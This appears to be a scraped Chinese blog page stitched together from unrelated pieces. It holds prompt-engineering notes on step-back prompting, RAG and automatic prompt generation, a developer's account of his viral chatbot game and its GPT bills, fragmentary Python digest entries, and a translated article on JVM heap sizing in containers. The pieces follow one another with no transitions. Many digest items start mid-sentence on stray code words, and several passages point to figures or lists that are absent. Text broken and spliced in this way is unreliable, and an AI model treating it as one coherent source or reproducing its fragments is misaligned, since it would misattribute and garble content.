后退提示使大模型能够从包含具体细节的实例中进行抽象,得出高级概念和基础原理,然后利用这些概念和原理来指导推理步骤,从而解决复杂问题。实验表明,在各种具有挑战性的推理密集型任务中,包括 STEM、知识问答和多跳推理,后退提示都取得了显著的性能提升。这种策略与思维链等直接解决问题的方法形成了鲜明的对比,下图对后退提示与思维链提示在解决问题的方法上进行对比:
左侧是思维链提示,它是一个直接解决问题的过程,按步骤逐一推理。第一个示例(顶部)来自 MMLU 高中物理题:如果温度增加 2 倍且体积增加 1 倍,理想气体的压力 P 会发生什么变化?,使用思维链提示对此问题进行推理时偏离了理想气体定律的第一原理。
第二示例(底部)来自 TimeQA 中的例子,当问及 Estella Leopold 在 1954 年 8 月至 1954 年 11 月期间去了哪所学校?,详细的时间范围限制让大模型很难直接解决,而后退提示会先询问 “教育史”,这是一个包含原始问题的高级概念,因此大模型可以得到所有必要的信息来推理 “Estella Leopold 在特定时期去了哪所学校”。
从图中可以看出,后退提示分为两个步骤:
后退提示鼓励大模型着眼于大局,而不是迷失在细节中,通过 “先抽象、再推理” 的过程正确解答问题,而不是仅仅依靠直观的连续思考。后退提示鼓励深入理解问题的本质,因此可以促进更深层次的思考和更精确的推理。
实验表明,大型语言模型能够从海量数据中学习到广泛的世界知识,这些知识以参数的形式存储在模型中,经过适当的微调就能在下游任务中取得 SOTA 表现。但是模型容量再大,也很难记住所有知识,这类通用语言模型在处理 知识密集型(knowledge-intensive) 任务时仍旧存在一定的局限性,比如知识更新不及时、生成虚假信息以及对不存在来源的引用等问题,也就是我们所说的 幻觉(hallucination)。
治理幻觉的方式有很多,比如:在训练时提供更高质量的数据,对模型进行微调补充领域知识,在 RLHF 时给予奖励模型对数据真实性更高的倾向性,通过 Prompt 引导大模型避免生成缺乏依据的信息,以及这一节所介绍的 检索增强生成(RAG,Retrieval Augment Generation)。
大模型的幻觉并非一无是处,有研究者指出幻觉是让大模型产出创意的基础。
RAG 早在 GPT 等大模型出来之前就有了相关的研究,例如 Facebook 在 2020 年 的研究提出,将模型知识分为 参数记忆(parametric memory) 和 非参数记忆(nonparametric memory),也就是内部信息和外部信息,同时结合这两类信息来回答用户问题可以提供更准确的回复,而且可以减少模型的幻觉。这里的外部信息可以是文档、数据库、网页、笔记、日志、图片、视频、甚至可以是从 API 获取的数据等等,通常我们将这些外部信息切块后保存在向量数据库中,然后基于用户输入的问题做检索。
一个典型的 RAG 包含两个主要的部分:
Yunfan Gao 等人在 Retrieval-Augmented Generation for Large Language Models: A Survey 这篇论文中对 RAG 技术做了一个全面的总结,推荐阅读。
目前有很多开源的工具可以用来打造 RAG 系统,比如 LangChain 和 LlamaIndex 的官方文档中都有很多关于 RAG 的示例可供参考。
使用检索增强生成(RAG)可以让大模型根据外部知识回答用户问题,由此可见,整合外部知识可以改善大模型的表现,有趣的是,我们也可以通过大模型生成知识来提高它自身的能力。这是由 Jiacheng Liu 等人所提出的一种新型的提示工程技术,叫做 生成知识提示(Generated Knowledge Prompting),在论文 Generated Knowledge Prompting for Commonsense Reasoning 中首次提出,使用生成知识提示不需要整合外部知识,相反,它直接从通用语言模型中生成知识,然后将这些知识作为上下文来回答用户的问题。
它的核心思想如上图所示,包含了两个步骤:
通过上面的学习我们知道,任务性能在很大程度上取决于用于引导模型的提示的质量,而大多数有效的提示都是由人工手工制作的,那么有没有一种方法能自动生成提示呢?
其实,提示的本质就是通过输入一系列的前缀文本,增加获取所需输出的概率。因此,我们可以将它们视为可训练的参数,并通过梯度下降直接在嵌入空间中进行优化,针对这个问题目前有很多相关的研究,例如 AutoPrompt、Prefix-Tuning、P-tuning 和 Prompt-Tuning 等。
Yongchao Zhou 等人在论文 Large Language Models Are Human-Level Prompt Engineers 中提出了一种更简单的方法:自动提示工程师(Automatic Prompt Engineer,APE)。
APE 的目的是自动化进行指令生成和选择,通过 LLM 生成指令,将这些生成的指令放到一个指令池中,选择一个打分函数对这些指令进行打分,然后选择出分数最高的指令。整个过程可以概况为三步:
{{Given desired input-output pairs}}\n\nThe instruction is
;Generate a variation of the following instruction while keeping the semantic meaning.\n\nInput: ...\n\nOutput:...
可以将整个工作流分为 推理(Inference)、评分(Scoring) 和 采样(Resampling) 三步,其最大的特点是三步都是基于 LLM 实现的,如下所示:
有趣的是,作者通过 APE 方法还发现了一个比人工设计的零样本 CoT 更好的提示:
Let’s work this out in a step by step way to be sure we have the right answer.
该提示在 MultiArith 上获得了 82.0 的性能得分:
另外,除了 APE,还有很多论文也对自动生成提示做了更深入的研究,比如:
Automatic Prompt Augmentation and Selection with Chain-of-Thought from Labeled Data
Automatic Chain of Thought Prompting in Large Language Models
通过借鉴基于不确定性的 主动学习(Active Learning) 的思想,Shizhe Diao 等人提出了一种新的示例选择方法 Active Prompting,引入度量标准来表征不确定性,然后选择最不确定的问题作为示例数据,论文地址 Diao et al. 2023, Active Prompting with Chain-of-Thought for Large Language Models。
和 APE 一样,Active Prompting 也是一种自动生成提示的技术,它的流程图如下:
主要分四个阶段:
这是一种相对比较简单的提示方法,由 Zekun Li 等人发表在论文 Guiding Large Language Models via Directional Stimulus Prompting 中,它通过训练一个可调节的 策略语言模型(Policy LM) 来生成关键词或其他提示信息,然后将其和用户输入组合在一起作为下游的 LLM 的输入,这种方法对大模型的特定方向给予刺激,所以被称为 定向刺激提示(Directional Stimulus Prompting,DSP),它在内容总结或内容创作任务中可以实现更好的效果。
整个流程如下:
下图是论文中的一个示例,对比了普通提示和定向刺激提示的差异:
提示工程是一门实践性很强的学科,需要针对不同的任务,采取不同的策略,不断尝试和探索,才能达到理想的效果。在这篇笔记中,我们学习了提示工程的概念和基本原则,以及一堆的提示工程技术或技巧,如少样本提示和思维链提示等,大大改善了大模型的推理能力。不过大模型在其他方面仍然存在很多不足,比如不擅长数值计算,无法求解复杂方程,不能访问外部知识和工具等,因此研究人员又提出很多想法希望对语言模型进行增强,比如检索增强、编程增强、工具增强等,这样的语言模型被称为 增强语言模型(Augmented Language Models)。通过结合外部知识和工具,我们就可以打造出更高级的智能体应用,我们将在下一篇笔记中继续学习相关的知识。
24 小时涌入超过 60 万用户,消耗了大模型十几亿 token,发生 2000 万次对话,而事情的起源却是一次吵架。
几个月前,当时我和女朋友因为我现在已经忘记的原因而有了一些争吵,我一边看着对方骂我的样子,一边把对方想象成一个机器人,头上有个虚拟的进度条,我观察她的反应,假装成我的回应会让她头上的进度条发生变化,然后我就突然想到了一个产品创意:带有数值和反馈系统的基于场景的聊天。
我很快开始构建一个叫哄哄模拟器的 iOS APP,在 APP 内,我把常见的情侣吵架场景放入其中,每次进入一个场景,例如「你吃了对象爱吃的丸子,她生气了」,你都需要在指定聊天次数内将对方(AI)哄好,是否哄好则由「原谅值」决定,其会随着你的每次聊天而发生变化。
很久以来,我已经体验过太多的「聊天AI」了,无论是通用且强大的 ChatGPT还是专注于角色扮演的 Character.ai,他们都很强,但对我来说还是有一个小遗憾:他们只是聊天。
在聊天之外,如果能再加上数值系统和各种判定,那么就可以做出更游戏化的体验,此时大模型不仅负担起了聊天的任务,也会负担起基于聊天来做数值规则的任务,这在大模型出现之前,是不可能的,数值系统也都是按照既定规则来写死的。
开发哄哄模拟器,是我的一次实验,我发现我确实可以让模型输出拟人的回复,也能做好数值的设计。
App 上线之后,我照例在能发的几个地方发了一下,虽然有些响应,但最终用户就几百个人,因为是我业余做的,所以我也没在意,就放在那里没管了。
上周,公司内开始做一些新项目的选型,我也凑过去看了一眼,然后突然意识到,我经常被人误认为是全栈工程师,但其实我连 react 都不会写,这实在脸上无光,于是我准备开始学习 react,我学习新语言一般会直接从项目上手,所以我又一次想到了哄哄模拟器,并准备写一个网页版,来完成我的 react 入门。
学习新语言和开发新产品的过程已经和往日大不相同,在大模型加持的各种代码助手辅助下,我基本上很快就稀里糊涂的写完了第一个版本,并上线了。
哄哄模拟器网页版上线之后,我也发在了几个地方,包括我的微博,即刻,X,还有V2ex,但说实话,都反响平平,虽然我暗自感觉不应该感兴趣的人这么少,但考虑到也没投入啥成本,还顺便学了新东西,倒也不觉得难受。
变化发生在第二天晚上,睡觉前我看了一眼数据,突然发现在线有上百人,我马上通过嵌入的统计代码查看流量来源,但发现都是无法被统计的,这意味着流量应该不是从某个网站链接导入,也不是从搜索引擎,我几乎每一刷新,涌入的用户就还会再增加一点,当晚我观察到接近1点才睡觉。
在我睡觉之前,我还是不知道流量从哪里来,以至于我发了一条动态感叹「像是从黑洞来的」
睡前我最后看了一眼数据,即时在线人数是 2000
第二天早上起床后,我立刻查看数据,发现在线人数已经飙到了 5000,日活用户到了接近 10 万,在短暂的陶醉后,我立马意识到大事不妙,哄哄模拟器背后使用的大模型基于 GPT,我调用了 openai 的 gpt3.5 接口,这里的成本是0.0015美元/1000个token,而一个晚上我就跑了一亿的 token,为此我要付出的是 150 美元
但这只是一个晚上(还包括了大家都在睡觉的凌晨)的数据,如果按照这样的用量趋势持续一天,那我要付出的成本就会是上千美元了。
对于一个很接近玩具且做的很简陋的项目而言,每天几千美元的成本是不可承受之重。与此同时,用户量还在不断增加,几乎每刷新统计页面,就会新增数百人。
我一开始还在新高峰出现时截图,后来就懒得截了,我把精力放到了更紧迫的事情上面:找出用户从哪来,想办法变现,减少 token 消耗。
在网页上,我放置了联系开发者按钮,然后引导到了我的微博,半小时后,开始陆续有新的关注者评论,绝大部分都表示来自 QQ 空间和 QQ 群
我和其中一些用户聊了一下,大概找到了流量来源,起先应该是一个来自QQ空间的帖子介绍了哄哄模拟器,这篇帖子获得了数千次转发,既而又被发到了无数QQ群,并在群友中传播。
这也解答了为啥我一开始找不到流量来源的原因,QQ空间和QQ群都是比较封闭的生态,也无法追踪链接跳转的来源,这里面没有 KOL,传播节点也极其分散。
等我中午时摸清用户来源的时候,用户即时在线已经突破了 2 万,预估的大模型账单也逼近了 1000 美元,我意识到,作为网页,且没有做注册登录的用户系统,即便我加入了广告,也无法平衡大模型的成本,和其它火起来的传统产品(例如羊了个羊)相比,基于大模型的哄哄模拟器,运行成本可能是它们的上千倍。
此时更棘手的一个情况出现了,因为大量的用户同时调用,把 GPT 接口的用量限制直接打满了,每分钟生成的 token 超过了一百万。
这让很多用户无法使用,于是我赶紧更新代码,用了粗暴的办法去降低用户的使用频率:1/2的概率,会提示繁忙,同时在用户完成一局对话后,如果哄哄失败,则必须冷静20秒才能开启下一局。
这样的调整让TPM (每分钟的模型 token ) 稳在了100万,但很快,在线用户增加到了3万,即便有上面的设置,tpm也依然被打满,这导致了大概有 1/3 的用户是无法使用的。
此时我选择性忽视了未来的大模型使用账单,一心想支撑下这波用户,于是我又找到了在奇绩创坛的校友尹伯昊,他是猴子无限的创始人,也有深度和 GPT 绑定的大模型相关的业务,他给了我一个API KEY,可以走他们的账号池调用GPT,并且支持极高的 TPM 限额,我将 1/2 的请求分配到了他的API下,此时用户也增长到了 4 万,但因为分流,所以勉强支撑了下来。
token 在两边都极速消耗,很快就在伯昊的账号下就跑了 100 美金的额度。而我自己那边我已经不想去看了。
缓一口气后,我开始尝试用其它模型替代 GPT ,这虽然在成本上不一定更划算,但至少有一些新的可能性,跑了几个差强人意的开源模型后,我尝试了 Moonshot,发现效果还可以,与此同时我刚好前不久加了月之暗面公司负责 API 的同学,于是我心一横,厚着脸皮直接向对方发了消息
Moonshot 同学很快拉了群和我对接,并慷慨的让我「先试试」,于是我开始进行调试,然后将1/5的模型调用量切给了 Moonshot ,我采集用户行为数据,观察使用不同模型时,进入下一步操作的比例,在接入 Moonshot 大约1小时后,我看了数据,发现和我之前使用的 gpt3.5 相差不大,于是我将切给 Moonshot 的用量逐渐提高。
其实我们也没有谈太多的条件,Moonshot 让我免费使用模型,我肯定也要在页面展示 Moonshot 的品牌信息,但除此之外,要有多少曝光?点击多少次?给我多少token?其实我们都没有谈,在跟对方交流的时候,我感觉双方都抱着开放的心态,像面对一场有趣的实验而不是什么商业合作,我们一起兴致勃勃的观察模型表现,以及用量的波动。
傍晚时,经过多次调试,也确认了这个调用量级没问题后,我将模型调用量全量切到了 Moonshot,此时我问了伯昊,他那边的成本消耗,最终定格到了 340 美元,伯昊没收我钱,而我将用一顿饭回报这次帮忙。
此时是晚上八点半,我终于吃上了当天的第一口饭。然后我打了一把 FIFA。
打完 FIFA 之后我回到电脑前,发现在线人数开始暴跌,此时我的心情比较复杂,一方面我对数据往下走有本能的失落,但又因为 token 消耗降低而松了一口气。而当我寻找数据下跌原因时,我发现这个原因丝毫不让人意外。
是腾讯屏蔽了哄哄模拟器的网页。
屏蔽发生在最活跃的晚上九点,此时最主要的传播链路——QQ和微信被拦腰斩断,大量抱着好奇心的用户被这个页面挡在了外面,流量以极快速度下滑,最终,当天涌入的用户一共是 68 万——如果没有屏蔽,在这个增速下,我想可能会过百万。
我当晚进行了申诉,第二天早上微信给我解封了,但十小时后,又进行了屏蔽——依然是在晚上最活跃的 9 点,在我申诉后又在次日早上解封,然后晚上继续屏蔽,过去几天这样大概重复了三四次,我也不明白为何要这样做——不给我个痛快,但流量在这样的折腾下迅速降低了。
微信生态素以严格著称,哄哄模拟器的流量激增可能触发了某种机制,也可能是某些用户故意引导模型输出出格内容后举报,让屏蔽不断发生,那个熟悉的画面,让我许多不愉快的记忆涌上心头。
但这一次,我其实没有那么不愉快,一方面我投入的并不多,说实话,这只是我做着玩的项目,同时我也知道,目前的哄哄模拟器,就是一个短期很难有商业回报的产品,它成本极高,而收益却极低——如果我不用非常极端的办法去恶心用户的话。
这样的一个产品,前途其实并不明朗。
但这个小产品,我观察到的数据,却给我带来了关于未来的某些希望——用户们很喜欢它,很多用户把我放置的关卡全部通关,还有人在全部通关之后有逐个进行最短回复的挑战,B站,抖音都出现了大量体验,游玩或者吐槽的视频。
值得注意的是,这些用户和我之前做产品所接触的用户完全不同,他们是以大学生,高中生和年轻人组成的,最大比例的年龄区间为16-20岁,我想这可能是一开始我用自己的渠道到处宣传效果并不好的原因,说到底,我已经快 30 岁了,我身边的很多人,也差不多这个年纪,30-40岁的用户,和十几二十岁的用户,感兴趣的点,需求,想法,都有很大不同。
用大模型去做某种更复杂的,更游戏化的聊天体验,能够被人喜欢,至少在年轻人这里,是得到了初步证明的,而之后的问题则是,如何降低成本,如何构建好的商业模式,以及如何拓展到更多的方向上。
我听到了一种声音,可能带了一点情绪,我不确定,这种声音是:做这样不赚钱还亏钱的东西完全是浪费时间。首先我承认并且赞同人应该想办法赚钱过上更好的生活,同时我也认为我们应该保有更多的一些能力,例如感受趣味,它和赚钱不矛盾,但独立于赚钱这件事情。
用最前沿的技术,巧妙的做一个让几十万人用上的产品是很有趣的事情,当他们也因为这个产品而获得了乐趣的时候,我会感觉到我在和世界发生某种奇妙的连接,在某个可承受的范围内,我不计较成本,正是因为这个。
另一方面,我也有某个模糊的感觉,那就是在许多小需求得到满足的时候,就不应该去计较短期的,在承受范围内的成本,尤其是在现在,能够用大模型去实现功能和解决问题,因为这里面可能蕴含着更大的需求,或者能转化成更大的事情,当我们太过谨慎的时候,可能就错失了这种可能性。
话说回来,就算那种可能性最后没有验证,那又有什么关系呢,说到底,人赚钱也好,生活也好,最终不过还是希望能够开心,做哄哄模拟器的这个过程,我就很开心,足矣。
PS:哄哄模拟器:hong.greatdk.com
synchronized
关键字可以保证变量是线程安全的,Python 中有什么东西可以达到相同效果么?文章介绍了threading
模块的 Lock + 上下文管理器 + 装饰器的实现方案。lxml
库来渲染,文章介绍了一些基本的尝试,验证可行性。__slot__
变量可以减少实例内存,防止添加动态属性。但要正常工作,所有基类都要实现它。这个库可以检查它是否损坏、重叠、冗余,提供了 pre-commit 钩子。pyjanitor
库的 conditional_join 函数,既节省内存又不损性能;使用DuckDB
的 SQL 查询 DataFrame,性能极高。Pandas profiling
是一个很流行的库(已改名ydata-profiling
),仅需一行代码就能生成数据集的分析报告。这篇教程介绍了它的工作原理、如何导入和生成报告、分析和处理敏感数据、分析大数据、它的替代库及它的缺点等内容。functools.wraps
很关键。文章介绍了它的用处、如何使用它,以及如何传递自定义参数。pysdl2
作图形输出),以 180fps 的 4K 分辨率运行,比传统的实现加速了 ~3800 倍。yaml.safe_load
加载 JSON、defusedxml
解析 XML、flask_wtf
保护表单、 secure_filename
处理文件路径、防 XSS 和 CSRF 的一些方法、构建安全 API 的 9 个建议,等等内容。涉及 Flask-SSLify、Flask-RESTful、Flask-HTTPAuth、Flask-JWT-Extended 和 Flask-Limiter 等库。f(x=)
,作为命名参数和值的变量名相同时f(x=x)
的简写。它与 f-string 的 f'{x=}'
相似,在 Ruby、JavaScript 和 Rust 中能找到类似的简写。据统计,这种模式占关键字参数用法的 10-20%。Tkinter
和rembg
实现移除图像的背景,效果挺不错。df.describe()
函数一样,ydata-profiling 非常好用,只要一行代码,提供了对 DataFrame 的扩展分析,支持以 html 和 json 等格式输出分析报告。(star 11.7K)JVM的聪明把我们宠坏了。它在幕后做出了太多的决定,以至于我们很多人都放弃了去看里面的东西。与记忆相关的讨论可能更容易出现在会议或面试中,而不是“真正的”工作中。当然,这取决于你在做什么。
如今,Java应用程序通常在容器中运行。内置的容器感知使JVM尊重各种特定于容器的限制(例如CPU、内存)。这意味着,即使在使用伪java-jar app.jar
运行应用程序时,一切都应该正常工作。这可能就是为什么提供的唯一与内存相关的选项通常是-Xmx
标志(或其任何等价物)。换句话说,我们倾向于只限制最大堆大小,如下所示:
java -Xmx256m <hopefully few other options here> -jar app.jar
看到这样的应用程序,我不禁想知道:当我们忽略其他与堆相关的标志时会发生什么?是否存在性能损失,尤其是在使用小堆运行时?引擎盖下面发生了什么?这里的容器有什么不同吗?
简单的答案是:JVM会为我们选择堆配置,但它的选择可能不是冰箱里最酷的啤酒。即使使用小堆,性能影响也可能是显而易见的,尤其是与有时默认的串行GC相结合。
让我们试着从一个实验开始解释它取决于什么。
注意:在本文中,术语“Java”和“JVM”指的是OpenJDK项目中最流行的HotSpot虚拟机。其他Java虚拟机实现(如Eclipse OpenJ9)的行为可能有所不同。所有的测试都是使用AmazonCorettoOpenJDK17发行版进行的。
我创建了一个非常简单的Spring Boot 2.7应用程序,它公开了一个反应式REST端点和一组默认的执行器端点。选择这些依赖项只是为了让应用程序在启动时保持忙碌。已指示应用程序本身停止(通过调用System.exit(0);
)在它完全初始化之后。它还采用以下配置进行了码头化:
FROM amazoncorretto:17.0.5-al2
COPY target/experiment-0.0.1-SNAPSHOT.jar app.jar
CMD ["java", "-Xmx128m", "-XX:+UseSerialGC", "-Xlog:gc", "-jar", "app.jar"]
然后,我继续运行应用程序,只更改容器的内存限制。其余参数(单CPU、最大堆大小为128m、启用串行GC和GC日志)保持不变:
❯ docker build -t heap-experiment:latest . >/dev/null 2>&1
❯ docker run --cpus=1 --memory=512m heap-experiment:latest > logs-512m.txt
❯ docker run --cpus=1 --memory=1024m heap-experiment:latest > logs-1024m.txt
❯ docker run --cpus=1 --memory=1536m heap-experiment:latest > logs-1536m.txt
❯ docker run --cpus=1 --memory=2048m heap-experiment:latest > logs-2048m.txt
❯ docker run --cpus=1 --memory=4096m heap-experiment:latest > logs-4096m.txt
使用每次运行生成的GC日志,我能够计算出垃圾收集所花费时间的基本统计信息。单CPU与串行GC相结合,确保每次GC暂停实际上都在停止我们的应用程序。结果如下:
Container memory | Pause Young events | Pause Young total time | Pause Full events | Pause Full total time | Total GC time |
---|---|---|---|---|---|
512m | 103 | 69.627 ms | 2 | 23.625 ms | 93.252 ms |
1024m | 68 | 60.613 ms | 1 | 15.540 ms | 76.153 ms |
1536m | 49 | 54.170 ms | 1 | 16.479 ms | 70.649 ms |
2048m | 38 | 55.748 ms | 1 | 14.935 ms | 70.683 ms |
4096m | 18 | 40.504 ms | 1 | 15.231 ms | 55.735 ms |
两种配置的GC总时间(512m与4096m)之间的最大差异接近37.5 ms。JVM将这段时间花在了额外的垃圾收集上,这显然是可以避免的。在某些用例中,启动时的这种差异实际上可能是显著的(甚至影响可靠性)!
那么,我们是否应该盲目地增加容器的内存限制呢?不是。相反,让我们看看这种差异是从哪里来的。
对于不耐烦的人:如果你想跳过关于JVM内部的部分,你可以直接跳到最后一段,再次讨论结果。
JVM中负责许多默认配置选择的“神奇”部分被称为人机工程学。
人机工程学是Java虚拟机(JVM)和垃圾收集启发法(如基于行为的启发法)提高应用程序性能的过程。
JVM为垃圾收集器、堆大小和运行时编译器提供了依赖于平台的默认选择。此外,基于行为的调优动态优化堆的大小,以满足应用程序的指定行为。
HotSpot虚拟机垃圾收集调整指南:https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-DB4CAE94-2041-4A16-90EC-6AE3D91EC1F1
人机工程学过程做出的决定取决于目标环境(平台)。像CPU的数量或可用内存的数量这样的东西真的很重要。人机工程学行为可能因计算机和容器而异,这使得预测变得不那么简单。
堆大小是JVM人机工程学控制的一个方面,除非直接配置。快速回顾:堆是存储应用程序实例化的所有对象和数组的地方。这也是我们在谈论内存消耗时最常看到的(尽管它比这更复杂)。简而言之,JVM为我们分配了一定量的内存,这样我们就可以将应用程序的数据保存在那里。
要查看人机工程学控制的一些堆相关选项,我们可以设置-XX:+PrintFlagsFinal
选项:
❯ java -XX:+PrintFlagsFinal -version 2>&1 | grep ergonomic | grep Heap | tr -s ' '
size_t G1HeapRegionSize = 4194304 {product} {ergonomic}
size_t InitialHeapSize = 536870912 {product} {ergonomic}
size_t MaxHeapSize = 8589934592 {product} {ergonomic}
size_t MinHeapDeltaBytes = 4194304 {product} {ergonomic}
size_t MinHeapSize = 8388608 {product} {ergonomic}
uintx NonNMethodCodeHeapSize = 5839564 {pd product} {ergonomic}
uintx NonProfiledCodeHeapSize = 122909338 {pd product} {ergonomic}
uintx ProfiledCodeHeapSize = 122909338 {pd product} {ergonomic}
size_t SoftMaxHeapSize = 8589934592 {manageable} {ergonomic}
涵盖所有这些选项对本文来说太多了。幸运的是,其中只有三个与我们的示例最相关:MinHeapSize
、InitialHeapSize
和MaxHeapSize
。
我将在这里使用一种在运行时获取当前堆大小配置的替代方法。通过设置-Xlog:gc+init
,JVM将在启动时记录一些与JVM相关的配置参数。
❯ java '-Xlog:gc+init' \
-XX:MinHeapSize=16m \
-XX:InitialHeapSize=32m \
-XX:MaxHeapSize=100m \
-jar app.jar 2>&1 | grep Capacity
[0.003s][info][gc,init] Heap Min Capacity: 16M
[0.003s][info][gc,init] Heap Initial Capacity: 32M
[0.003s][info][gc,init] Heap Max Capacity: 104M
这些配置值映射到java命令的特定选项:
-XX:MinHeapSize=size
):内存分配池的最小大小(以字节为单位)-XX:InitialHeapSize=size
):内存分配池的初始大小(以字节为单位)-XX:MaxHeapSize=size
,简称-Xmx
):内存分配池的最大大小(以字节为单位)等一下…著名的-Xms
在哪里?尽管经常混淆,-Xms
将堆的最小大小和初始大小都设置为相同的值。让我们举一个例子来说明
❯ java '-Xlog:gc+init' -Xms32m -Xmx100m \
-jar app.jar 2>&1 | grep Capacity
[0.003s][info][gc,init] Heap Min Capacity: 32M
[0.003s][info][gc,init] Heap Initial Capacity: 32M
[0.003s][info][gc,init] Heap Max Capacity: 104M
好的,但是如果我们不明确地设置这些值呢?这就是JVM人机工程学的用武之地。根据HotSpot Virtual Machine Garbage Collection Tuning Guide:https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-DA88B6A6-AF89-4423-95A6-BBCBD9FAE781,默认值为:
物理内存的1/64的初始堆大小
最大堆大小为物理内存的1/4
不幸的是,指南中没有提到最小堆大小。java命令引用声明:
默认值是在运行时根据系统配置选择的。
根据我使用Docker运行的一些测试,无论有多少内存可用,默认的最小堆大小很可能是8M。然而,我不能向你保证它总是这样。JVM人机工程学有很多优点,但可预测性肯定不是其中之一…
启动时,JVM为堆分配一定量的内存(初始容量)。在应用程序生命周期中,人机工程学过程可以根据确定的应用程序需求来决定缩小或扩大堆。然而,堆的大小必须始终介于最小容量和最大容量之间,这给了我们一个简单的公式:
Min Capacity <= Initial Capacity <= Max Capacity
JVM是如何做出这样的决定的?再一次,我们可以在HotSpot虚拟机垃圾收集调优指南:https://docs.oracle.com/en/java/javase/17/gctuning/factors-affecting-garbage-collection-performance.html#GUID-B0BFEFCB-F045-4105-BFA4-C97DE81DAC5B 中找到一些提示:
默认情况下,虚拟机会增加或缩小每个集合的堆,以尝试将每个集合的可用空间与活动对象的比例保持在特定范围内。
默认情况下,JVM的目标是在一代中保持40%到70%的可用空间。相应的配置选项为-XX:MinHeapFreeRatio
和-XX:MaxHeapFreeRatio
。
听起来很简单?让我让你失望吧。在同一指南中,我们可以看到JVM还可以尝试“优先满足”两个目标之一:最大暂停时间(-XX:MaxGCPauseMillis
)和吞吐量(理解为未用于垃圾收集的时间百分比,-XX:GCTimeRatio
)。当没有达到首选目标时,JVM将尝试达到另一个目标。如果同样失败,则可能会调整堆的大小。
更不清楚的是,所选的垃圾收集器也可能影响此堆大小调整策略。根据-XX:MaxGCPauseMillis
选项文档:
默认情况下,其他几代收集器不使用暂停时间目标。
根据指南(https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-034BAF7C-2F2E-483D-8606-0BF2B8710BC9),即使在一些相当稳定的条件下,我们也可能预计堆大小会发生变化:
通常情况下,堆的大小会随着垃圾收集器试图满足竞争目标而波动。即使应用程序已达到稳定状态,也是如此。实现吞吐量目标(可能需要更大的堆)的压力与最大暂停时间和最小占地面积(两者都可能需要小堆)的目标相竞争。
最小堆大小限制GC攻击性。即使根据人体工程学,堆应该进一步缩小,也不能低于这个值。我们自己选择错误的值可能会阻止JVM实现上述目标。将其保留为默认值(很可能是8MB),允许进行人体工程学过程的实验。
每一个次优JVM决策都会降低应用程序的速度。如果选定的值太小,GC压力可能会增加。如果它太大,GC暂停时间可能会比实际时间长。然而,对于我们的许多应用程序来说,这可能已经足够好了。这也绝对比猜测要好。然而,如果您为每一毫秒而奋斗,您可能想要限制JVM人机工程学的自由度。
此外,JVM标识的“稳定状态”可能因起点而异。仅增加我的一个实际应用程序的初始堆大小,就显著减少了平均GC时间和垃圾收集频率。重要的是,这种比较是在相同的受控负载下进行的。
观察JVM的人机工程学可以告诉你很多关于你的应用程序的信息。根据JVM确定的稳定状态选择堆配置选项感觉是一个非常好的起点。通过这种方式,我们可以尝试制作当前设置的“快照”,然后将其转换为-Xms
和-Xmx
等配置参数。
由于我们现在对自动化堆大小有了更多的了解,因此很容易解释实验中发现的差异。唯一对内存限制敏感的默认值是初始堆大小,这在应用程序运行时有所不同。让我们更新结果表以更好地说明这一点。
Initial heap size | Container memory equivalent | Pause Young events | Pause Young total time | Pause Full events | Pause Full total time | Total GC time |
---|---|---|---|---|---|---|
8m | 512m | 103 | 69.627 ms | 2 | 23.625 ms | 93.252 ms |
16m | 1024m | 68 | 60.613 ms | 1 | 15.540 ms | 76.153 ms |
24m | 1536m | 49 | 54.170 ms | 1 | 16.479 ms | 70.649 ms |
32m | 2048m | 38 | 55.748 ms | 1 | 14.935 ms | 70.683 ms |
64m | 4096m | 18 | 40.504 ms | 1 | 15.231 ms | 55.735 ms |
初始堆大小越小,观察到的GC暂停就越多。从理论上讲,如果应用程序生成的所有对象都符合初始堆大小(假设有适当的可用空间缓冲区),那么我们在启动时就不需要一个GC Pause。
有趣的是,前两次运行的最终堆使用量(在停止应用程序之前测量)接近2200万。在8m/512m的情况下,堆在到达那里之前已经调整了3次大小。在16m/1024m的版本中,只需要调整一次大小。这就解释了这两者在GC时间上的显著差异。它还证明了动态调整大小是有代价的。
对于更大(更忙)的应用程序,我预计启动时的差异会更大。由于他们的初始化过程要复杂得多,这也会给GC带来更多的工作。这就是为什么选择正确的初始堆大小可能如此重要。
在启动时,初始堆大小似乎比最小堆大小更重要。由于应用程序通常会生成大量对象,因此减少堆的可能性相对较低。如果内存压力下降,那么最小堆大小稍后可能会产生更大的影响。
即使使用非单线程GC和更多可用的CPU“核心”,完整GC暂停也可能很痛苦。由于它们是最昂贵的GC操作,我们应该尽可能地限制它们的数量。根据结果,过低的初始堆大小会使应用程序启动期间的Full-GC暂停更加频繁。
我选择观察应用程序启动而不是长时间应用程序操作的原因是可重复性。后者在很大程度上取决于产生的(人为的)负荷,这可能与“真实的”负荷非常不同。启动一个Spring Boot应用程序感觉就像是一个典型的、真实的用例。
当您仅限制最大堆大小时,JVM人机工程学将选择最小和初始大小。初始堆大小默认为可用内存的1/64。因此,当在容器中运行时,最好显式设置它。
根据我的实验,太小的初始堆大小可能会增加GC压力,甚至影响应用程序的启动时间。你越关心整体延迟和吞吐量,就越有可能需要介入。自行定义与堆大小相关的限制可能会对这里产生重大影响。
JVM人机工程学是一门真正的艺术,但它也很难预测。JVM将尽力在运行时调整设置,但这并不能确保其选择是最佳的。即便如此,从性能的角度来看,走向这些选择的道路有时可能是不可接受的。然而,通过观察所选择的值可以作为更高级调整的良好起点。
-XX:MinRAMPercentage
、-XXX:InitialRAMPercentation
和-XXX:MaxRAMPercentage
。然而,他们的行为并不总是像我们想象的那样。有些人将这些标志宣传为更好的标志,因为它们允许将堆与容器的内存一起缩放。然而,在特定的危机情况下,盲目增加两者可能会使情况变得更糟。可以说我过时了,但我个人更喜欢明确地设置尺寸。-Xms
和-Xmx
设置为相同的值可以从虚拟机中删除最重要的大小调整决定,从而提高可预测性。但是,如果您选择不当,虚拟机将无法进行补偿。原文地址:https://mikemybytes.com/2022/11/15/what-happens-when-you-only-limit-the-maximum-heap-size/
Notify
库处理底层文件系统通知,支持同步和异步监听处理。(star 1.4K)from watchfiles import watch
for changes in watch('./path/to/dir'):
print(changes)
marshmallow
的支持。(star 1.1K)Llama-2–7B-Chat-GPTQ
模型,最先尝试用 Streamlit 创建应用,但发现它的浏览器不支持,最后用 Flask 开发一个简单的网页,实现与 LLM 的交互!go
、Dart
、js
一样隐式的运行事件循环,又使用了async
、await
